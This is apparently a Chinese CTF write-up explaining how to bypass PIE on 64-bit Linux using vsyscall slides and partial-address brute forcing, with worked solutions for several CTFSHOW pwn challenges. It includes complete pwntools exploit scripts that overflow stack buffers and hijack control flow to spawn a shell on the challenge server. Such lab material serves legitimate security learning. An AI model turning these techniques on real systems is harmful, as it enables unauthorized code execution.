PIE保护:
对代码段、数据段、bss段启用偏移,后三位不变。
普遍情况下text段函数的地址,只有后四位不同。这就意味着如果想知道目标函数的地址,得先考虑搞到其他text段函数地址,不确定的就只剩下倒数第四字节,可以考虑爆破或者其他方法解决这一未知字节。
利用vsyscall绕过(只有部分早期ubuntu版本才能用)
原理
vsyscall介绍:
https://www.bookstack.cn/read/linux-insides-zh/SysCall-linux-syscall-3.md
可以理解成一个固定的地址(就算开了PIE也不变),里面存放了一些可以用来替代ret的函数。有三个地址可以用:0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800。
注意,这三个地址即为函数开始的地址,并非上面存的值才是函数地址。
vsyscall的原理跟nopsled技术有一定相似之处,核心在于“滑动”,由于题目执行流的地址不一定是我们想要的地方,所以通过特殊技巧让执行流一直“滑”到我们想要的地方执行。
二者区别在于,nopsled是直接针对shellcode的,所以用的是汇编代码”nop”来滑,而vsyscall是针对ROP链的,所以得用ret的替代函数来滑。而如果题目不开PIE的话,很容易就能拿到ret的gadget,然后直接用ret滑就行,用不到vsyscall。(其实不开PIE感觉根本都不需要滑,因为不开PIE的话各种函数地址都是已知的)
举个例子,程序流最后一条指令是:
jmp [0x400000]
并且执行完[0x400000]处的函数就会退出
而0x400010处的值是我们需要程序执行的函数地址
如果我往0x400000到0x400010处都填上ret(或vsyscall里面的替代函数),程序最终就会滑到0x400010处,把这个地方值pop给eip执行,就达到了目标。
例题1:2024CTFSHOW 单身杯 checkin
64位,开了PIE


给了后门函数:

buf给了大小是64,即0x40,但是实际上占据的空间是0x110-0x8。最后程序jmp [rbp+buf+0x40],如果不开PIE的话,思路就是往rbp+buf+0x40处填后门函数地址,但是开了PIE的话,后门函数地址就不知道了,得去栈上找一下。
由于我本地环境问题,动调跟题目结果有出入,参考其他师傅的文章:
Pwn学习总结(18):VSyscall-vul64 | 杰克部落
可以得到在偏移30个单位的地方,存放的值跟后门函数只有最后一字节不同,想方设法把这个地方覆盖成后门函数的最后一字节,然后用vsyscall让程序滑到这地方就行。
exp:
from pwn import*
context.log_level = "debug"
io = remote("pwn.challenge.ctf.show" ,28301)
io = process("/home/monke/PWN/DSBCTF/pwn")
io.recvuntil("Hack me!\n")
vsyscall = 0xffffffffff600000
io.send(p64(vsyscall)*30+b'\x13')
io.sendline('/bin/sh')
io.interactive( )
例题2 ctfshow pwn入门129
main函数中选择2进入hint函数,选择1进入sub1函数:

hint函数有一个判断,可以输出system地址,但是这个判断永远无法通过:

查看汇编代码发现隐藏信息,system地址会被存在rbp-0x110(即rsp+0x10)处,或许会有用:


继续往下看sub1函数,可以看到,v4、v5两个变量刚好占了rsp+0x10,即system地址存放的位置,v4、v5是可控的,也就是可以在一定范围内修改该位置存放的值。

继续跟进vuln函数,发现是递归调用,存在栈溢出:

所以思路就是,由于题目已经给了libc版本,可以算出onegadget和system函数的偏移,在sub1函数中通过控制v4和v5的值来把存放的system函数值改成onegadget,然后进入vuln函数覆盖ret,用vsyscall滑到onegadget处执行即可(ps:要把99个计算题覆盖完才能避免exit(0))。
完整exp:
from pwn import *
context.log_level = 'debug'
#io = process('/home/monke/PWN/CTFSHOW/129')
io = remote('pwn.challenge.ctf.show',28302)
vsyscall = 0xffffffffff600000
io.sendlineafter("Choice:\n",'2')
io.sendlineafter("Choice:\n",'1')
io.sendlineafter("doubts?\n",'0')
io.sendlineafter("more?\n",'-378')#-378 -- offset between exec(bin/sh) and system
for i in range(99):
io.recvuntil("Question: ")
answer1 = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
answer2 = int(io.recvuntil(" ")[:-1])
io.sendlineafter("Answer:",str(answer1*answer2))
payload = b'A' * 0x30
payload += b'B'* 0x8
payload += p64(vsyscall) * 3
io.sendafter("Answer:",payload)
io.interactive()
vsyscall为什么是3个:
由于system函数是存在sub1函数的rsp+0x10处,而sub1是vuln的caller,即vuln的栈帧创建紧跟着sub1之下,所以vuln的ret离sub1的rsp+0x10就是三个单位,要用vsyscall滑三次。
这题如果假设不给libc版本的话还有爆破的做法,详见后面爆破模块。
爆破
通过已知的text段其他函数地址来爆破目标函数地址
借鉴文章:
pwn——vsyscall滑动绕过以及爆破 – hawkJW – 博客园
如开头所说,普遍情况下text段函数的地址,只有后四位不同。这就意味着如果想知道目标函数的地址,得先考虑搞到其他text段函数地址,不确定的就只剩下倒数第四字节,可以考虑爆破,1/16的概率成功。
利用recv(timeout = 1)来进行爆破:
模板如下,大概意思是,如果没有拿到shell,p.recv(timeout = 1)就会触发EOF终止程序,如果拿到了shell,p.recv(timeout = 1)就会成立然后p.interactive()。
def exp():
#getshell的exp
p.recv(timeout = 1)
if __name__ == '__main__':
while True:
try:
exp()
p.interactive()
break
except KeyboardInterrupt:
break
except:
continue
若不知道text段其他函数,也可以通过直接覆盖eip后四位的方式爆破
例题:ctfshow pwn入门128
main函数如下:

dopwn函数调用了set_user和set_pwn:

set_user可以写长度为41的字符串,复制到v1+140处;
set_pwn可以写自定义数量的字符串,自定义数量取决于v1+180处的字符值,即set_user中可以写的一个字节值,然后把写的字符串复制给v1,存在溢出,如下图:


本题开了PIE,所以不能直接打ROP,所幸有后门函数。由于ret值大概率与后门函数在同一页,所以尝试通过覆盖rip后四位的值来劫持程序流到后门函数执行。
后门函数:

exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'info'
#io = process('/home/monke/PWN/CTFSHOW/128')
#io = remote('pwn.challenge.ctf.show',28293)
elf = ELF('/home/monke/PWN/CTFSHOW/128')
def exp():
payload1=b'a'*40+b'\xca'
io.sendline(payload1)
payload2=b'a'*0xc0+p64(0xfffffffffffffff0)+b'\x01\x09'
io.sendline(payload2)
io.recv(timeout = 1)
if __name__ == '__main__':
while True:
io = remote('pwn.challenge.ctf.show',28293)
try:
exp()
io.interactive()
break
except KeyboardInterrupt:
break
except:
io.close()
continue
有几个需要注意的地方:
1.payload1=b’a’*40+b’\xca’,\xca必须刚好与payload2长度一致,不能填长,猜测原因是strncpy函数特性——n比源字符串长度要大导致的EOF错误
2.payload2=b’a’*0xc0+p64(0xfffffffffffffff0)+b’\x01\x09’,p64(0xfffffffffffffff0)即覆盖rbp的值,该值不能填p64(0)、p64(f0)、p64(fff)等值,猜测是因为strncpy函数的0截断导致的。但是p64(0xfffffffffffffff0)却可以。
3.后门函数地址是”\x00″”\x90″,为什么要填”\x01″”\x90″?猜测原因是,由于在payload2中把rbp覆盖成了不存在的值,而后门函数一开始是push rbp,可能会导致EOF,所以得从”\x01″”\x90″开始。
4.脚本语法错误和爆破失败,爆破的速度明显不同。

成功爆破:

例题:ctfshow pwn入门129
题目分析见vsyscall模块处,此处为该题的爆破做法:

exp:
from pwn import *
context.log_level = 'info'
i = 0
while True:
try:
py_add = 0
i += 1
print (i)
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28157)
io.sendlineafter("Choice:\n", '1')
io.sendlineafter("doubts?\n", '1')
io.sendlineafter("more?\n", '1')
io.recvuntil("Question: ")
a1 = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
a2 = int(io.recvuntil(" ")[:-1])
a3 = str(a1 * a2)
a4 = a3.ljust(0x30, '\x00') + '\x6c'
io.sendafter("Answer:", a4)
io.recvuntil("doubt ")
answer = int(io.recvuntil("\n")[:-1])
if answer < 0:
answer = answer + 0x100000000 # 由于answer这个数的二进制最高位有可能是0或1,所以可能为有符号数(0),要处理
answer_end = answer + 0x7f2a00000000 # 通过ELF(libc文件).symbols['函数名']查找地址
if hex(answer_end)[-2:] == '6f': # _IO_file_write+8F e0+8f=16f
py_add = answer_end - 0xf88e0 - 0x8f
elif hex(answer_end)[-2:] == '00': # _IO_2_1_stdout
py_add = answer_end - 0x3c2600
elif hex(answer_end)[-2:] == '83': # _IO_2_1_stdout_+83 00+83=83
py_add = answer_end - 0x3c2600 - 0x83
elif hex(answer_end)[-2:] == '59': # _IO_do_write+79 e0+79=159
py_add = answer_end - 0xf88e0 - 0x79
elif hex(answer_end)[-2:] == '20': # _IO_file_overflow
py_add = answer_end - 0x7c820
elif hex(answer_end)[-2:] == '8a': # puts+16a 20+6a=8a
py_add = answer_end - 0x70920 - 0x16a
one_gadget = py_add + 0x45216
if py_add == 0:
io.close()
continue
io.recvuntil("Question: ")
a1 = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
a2 = int(io.recvuntil(" ")[:-1])
a3 = str(a1 * a2)
a4 = a3.encode().ljust(0x38,b'\x00')+p64(one_gadget)
io.sendafter("Answer:", a4)
io.recv(timeout=1)
except EOFError:
io.close()
continue
else:
io.interactive()
break